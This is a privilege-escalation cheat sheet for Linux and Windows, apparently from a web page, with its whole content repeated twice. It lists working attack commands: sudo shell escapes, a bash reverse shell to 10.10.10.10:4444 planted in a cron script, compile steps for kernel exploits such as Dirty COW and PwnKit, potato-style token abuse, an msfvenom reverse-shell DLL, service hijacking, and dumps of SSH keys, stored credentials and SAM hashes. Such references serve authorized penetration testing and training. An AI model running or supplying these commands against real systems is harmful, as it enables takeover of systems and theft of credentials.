Privilege Escalation

Privilege Escalation Cheatsheet

Comprehensive guide for Linux and Windows privilege escalation techniques

Authorized Testing Only

Use these techniques only in authorized environments. Unauthorized access is illegal.

Linux System Enumeration

Gather information about the Linux system

Linux

Kernel Version

enumeration

Check kernel version for known exploits

uname -a

OS Information

enumeration

Identify OS distribution and version

cat /etc/issue
cat /etc/*-release

Running Processes

enumeration

List processes running as root

ps aux | grep root

Network Connections

enumeration

Show active network connections

netstat -antup
ss -tunlp

Installed Packages

enumeration

List installed software

dpkg -l  # Debian
rpm -qa  # RedHat

Linux File Permissions

Find misconfigured file permissions

Linux

SUID Binaries

enumeration

Find all SUID executables

find / -perm -4000 -type f 2>/dev/null

SGID Binaries

enumeration

Find all SGID executables

find / -perm -2000 -type f 2>/dev/null

World Writable

enumeration

Find world-writable files

find / -perm -2 -type f 2>/dev/null

Writable /etc/passwd

enumeration

Check if password files are writable

ls -la /etc/passwd
ls -la /etc/shadow

Writable Config Files

enumeration

Find writable configuration files

find /etc -writable -type f 2>/dev/null

Linux Sudo Exploitation

Exploit sudo misconfigurations

Linux

Check Sudo Rights

enumeration

List commands user can run with sudo

sudo -l

Sudo Version

enumeration

Check for vulnerable sudo version

sudo -V

GTFOBins Abuse

exploitation

Exploit sudo binaries via GTFOBins

sudo vim -c '!sh'
sudo find . -exec /bin/sh \; -quit

Sudo Environment

exploitation

Preserve environment with sudo

sudo -E /usr/bin/env /bin/sh

LD_PRELOAD Exploit

exploitation

Hijack libraries with LD_PRELOAD

sudo LD_PRELOAD=/tmp/shell.so program

Linux Cron Jobs

Exploit scheduled tasks

Linux

List Cron Jobs

enumeration

List all cron jobs

crontab -l
ls -la /etc/cron*
cat /etc/crontab

Check Cron Permissions

enumeration

Check cron directory permissions

ls -la /etc/cron.d
ls -la /var/spool/cron

Writable Cron Scripts

exploitation

Find writable cron scripts

find /etc/cron* -type f -writable 2>/dev/null

PATH Hijacking

exploitation

Hijack PATH in cron scripts

echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" > /tmp/script.sh

Linux Kernel Exploits

Common kernel privilege escalation exploits

Linux

Dirty COW

exploitation

CVE-2016-5195 - Race condition exploit

gcc -pthread dirty.c -o dirty -lcrypt

Dirty Pipe

exploitation

CVE-2022-0847 - Overwrite any file

gcc dirty_pipe.c -o exploit

PwnKit

exploitation

CVE-2021-4034 - pkexec vulnerability

gcc pwnkit.c -o exploit

Baron Samedit

exploitation

CVE-2021-3156 - sudo heap overflow

sudoedit -s /
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Windows System Enumeration

Gather information about Windows system

Windows

System Information

enumeration

Get system info and installed patches

systeminfo
wmic qfe list

User Information

enumeration

Get current user privileges

whoami /all
net user %username%

Local Users

enumeration

List local users and admins

net user
net localgroup administrators

Running Services

enumeration

List all services

sc query state= all
wmic service list brief

Scheduled Tasks

enumeration

List all scheduled tasks

schtasks /query /fo LIST /v

Windows Service Exploitation

Exploit Windows services for privilege escalation

Windows

Unquoted Service Path

enumeration

Find unquoted service paths

wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Weak Service Permissions

enumeration

Find services with weak permissions

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *

Modify Service Binary

exploitation

Change service binary path

sc config ServiceName binPath= "C:\temp\shell.exe"
sc stop ServiceName
sc start ServiceName

Service Registry Keys

enumeration

Query service registry keys

reg query HKLM\SYSTEM\CurrentControlSet\Services

Windows Registry Exploitation

Exploit registry misconfigurations

Windows

AlwaysInstallElevated

enumeration

Check if MSI packages run as SYSTEM

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Autorun Programs

enumeration

Find autorun programs

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Writable Registry Keys

enumeration

Find writable registry keys

accesschk.exe /accepteula -uvwqk HKLM\Software

Windows Token Manipulation

Exploit Windows access tokens

Windows

List Privileges

enumeration

List current token privileges

whoami /priv

SeImpersonatePrivilege

exploitation

Exploit SeImpersonate with JuicyPotato

JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -t * -c {CLSID}

PrintSpoofer

exploitation

Exploit print spooler service

PrintSpoofer.exe -i -c cmd

RoguePotato

exploitation

Alternative to JuicyPotato for newer Windows

RoguePotato.exe -r 10.10.10.10 -e "cmd.exe" -l 9999

Windows DLL Hijacking

Exploit DLL search order

Windows

Find Missing DLLs

enumeration

Monitor application for DLL loads

procmon.exe  # Process Monitor to find missing DLLs

Writable Directories

enumeration

Find writable application directories

icacls "C:\Program Files\Application" /grant Everyone:(OI)(CI)F

Create Malicious DLL

exploitation

Generate payload DLL

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll -o evil.dll

Password Hunting

Find stored passwords

Both

Linux Password Files

enumeration

Search for password files

grep -ri "password" /home 2>/dev/null
find / -name "*password*" 2>/dev/null

Windows Credentials

enumeration

List stored credentials

cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

SSH Keys

enumeration

Find SSH private keys

find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null

History Files

enumeration

Check command history for passwords

cat ~/.bash_history
cat ~/.mysql_history

SAM/SYSTEM Files

exploitation

Dump Windows password hashes

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

Useful Resources

Privilege Escalation

Privilege Escalation Cheatsheet

Comprehensive guide for Linux and Windows privilege escalation techniques

Authorized Testing Only

Use these techniques only in authorized environments. Unauthorized access is illegal.

Linux System Enumeration

Gather information about the Linux system

Linux

Kernel Version

enumeration

Check kernel version for known exploits

uname -a

OS Information

enumeration

Identify OS distribution and version

cat /etc/issue
cat /etc/*-release

Running Processes

enumeration

List processes running as root

ps aux | grep root

Network Connections

enumeration

Show active network connections

netstat -antup
ss -tunlp

Installed Packages

enumeration

List installed software

dpkg -l  # Debian
rpm -qa  # RedHat

Linux File Permissions

Find misconfigured file permissions

Linux

SUID Binaries

enumeration

Find all SUID executables

find / -perm -4000 -type f 2>/dev/null

SGID Binaries

enumeration

Find all SGID executables

find / -perm -2000 -type f 2>/dev/null

World Writable

enumeration

Find world-writable files

find / -perm -2 -type f 2>/dev/null

Writable /etc/passwd

enumeration

Check if password files are writable

ls -la /etc/passwd
ls -la /etc/shadow

Writable Config Files

enumeration

Find writable configuration files

find /etc -writable -type f 2>/dev/null

Linux Sudo Exploitation

Exploit sudo misconfigurations

Linux

Check Sudo Rights

enumeration

List commands user can run with sudo

sudo -l

Sudo Version

enumeration

Check for vulnerable sudo version

sudo -V

GTFOBins Abuse

exploitation

Exploit sudo binaries via GTFOBins

sudo vim -c '!sh'
sudo find . -exec /bin/sh \; -quit

Sudo Environment

exploitation

Preserve environment with sudo

sudo -E /usr/bin/env /bin/sh

LD_PRELOAD Exploit

exploitation

Hijack libraries with LD_PRELOAD

sudo LD_PRELOAD=/tmp/shell.so program

Linux Cron Jobs

Exploit scheduled tasks

Linux

List Cron Jobs

enumeration

List all cron jobs

crontab -l
ls -la /etc/cron*
cat /etc/crontab

Check Cron Permissions

enumeration

Check cron directory permissions

ls -la /etc/cron.d
ls -la /var/spool/cron

Writable Cron Scripts

exploitation

Find writable cron scripts

find /etc/cron* -type f -writable 2>/dev/null

PATH Hijacking

exploitation

Hijack PATH in cron scripts

echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" > /tmp/script.sh

Linux Kernel Exploits

Common kernel privilege escalation exploits

Linux

Dirty COW

exploitation

CVE-2016-5195 - Race condition exploit

gcc -pthread dirty.c -o dirty -lcrypt

Dirty Pipe

exploitation

CVE-2022-0847 - Overwrite any file

gcc dirty_pipe.c -o exploit

PwnKit

exploitation

CVE-2021-4034 - pkexec vulnerability

gcc pwnkit.c -o exploit

Baron Samedit

exploitation

CVE-2021-3156 - sudo heap overflow

sudoedit -s /
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Windows System Enumeration

Gather information about Windows system

Windows

System Information

enumeration

Get system info and installed patches

systeminfo
wmic qfe list

User Information

enumeration

Get current user privileges

whoami /all
net user %username%

Local Users

enumeration

List local users and admins

net user
net localgroup administrators

Running Services

enumeration

List all services

sc query state= all
wmic service list brief

Scheduled Tasks

enumeration

List all scheduled tasks

schtasks /query /fo LIST /v

Windows Service Exploitation

Exploit Windows services for privilege escalation

Windows

Unquoted Service Path

enumeration

Find unquoted service paths

wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

Weak Service Permissions

enumeration

Find services with weak permissions

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *

Modify Service Binary

exploitation

Change service binary path

sc config ServiceName binPath= "C:\temp\shell.exe"
sc stop ServiceName
sc start ServiceName

Service Registry Keys

enumeration

Query service registry keys

reg query HKLM\SYSTEM\CurrentControlSet\Services

Windows Registry Exploitation

Exploit registry misconfigurations

Windows

AlwaysInstallElevated

enumeration

Check if MSI packages run as SYSTEM

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Autorun Programs

enumeration

Find autorun programs

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Writable Registry Keys

enumeration

Find writable registry keys

accesschk.exe /accepteula -uvwqk HKLM\Software

Windows Token Manipulation

Exploit Windows access tokens

Windows

List Privileges

enumeration

List current token privileges

whoami /priv

SeImpersonatePrivilege

exploitation

Exploit SeImpersonate with JuicyPotato

JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -t * -c {CLSID}

PrintSpoofer

exploitation

Exploit print spooler service

PrintSpoofer.exe -i -c cmd

RoguePotato

exploitation

Alternative to JuicyPotato for newer Windows

RoguePotato.exe -r 10.10.10.10 -e "cmd.exe" -l 9999

Windows DLL Hijacking

Exploit DLL search order

Windows

Find Missing DLLs

enumeration

Monitor application for DLL loads

procmon.exe  # Process Monitor to find missing DLLs

Writable Directories

enumeration

Find writable application directories

icacls "C:\Program Files\Application" /grant Everyone:(OI)(CI)F

Create Malicious DLL

exploitation

Generate payload DLL

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll -o evil.dll

Password Hunting

Find stored passwords

Both

Linux Password Files

enumeration

Search for password files

grep -ri "password" /home 2>/dev/null
find / -name "*password*" 2>/dev/null

Windows Credentials

enumeration

List stored credentials

cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

SSH Keys

enumeration

Find SSH private keys

find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null

History Files

enumeration

Check command history for passwords

cat ~/.bash_history
cat ~/.mysql_history

SAM/SYSTEM Files

exploitation

Dump Windows password hashes

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

Useful Resources